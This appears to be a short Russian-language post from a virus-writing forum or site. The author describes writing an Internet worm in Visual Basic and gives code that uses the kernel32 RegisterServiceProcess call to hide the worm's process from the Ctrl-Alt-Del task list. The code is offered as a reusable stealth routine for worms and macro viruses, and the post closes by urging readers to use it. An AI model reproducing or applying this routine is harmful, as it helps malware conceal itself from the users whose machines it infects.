![]() |
![]() |
![]() |
Недавно начал писать Интернет червя на VB. Сделал я его резидентом и скрывать его в меню при нажатии ctrl-alt-del. Возможно это процедура понадобиться и в макро виурсах. ' win32 api которые понадобиться нам Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long Public Declare Function GetCurrentProcess Lib "kernel32" () As Long Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long ' константы Public Const RSP_SIMPLE_SERVICE = 1 Public Const RSP_UNREGISTER_SERVICE = 0 ' Процедура скрытия вашей проги в менюхе по ctrl-alt-del sub stealth() Dim process_id As Long Dim reg_serv_process As Long process_id = GetCurrentProcessId() reg_serv_process = RegisterServiceProcess(process_id, RSP_SIMPLE_SERVICE) End Sub ' Процедура показа вашей проги в менюхе по ctrl-alt-del sub anti_stealth() Dim process_id As Long Dim reg_serv_process As Long process_id = GetCurrentProcessId() reg_serv_process = RegisterServiceProcess(process_id, RSP_UNREGISTER_SERVICE) End Sub Все легко и просто... Just do it...... |
||
![]() |
![]() |
![]() |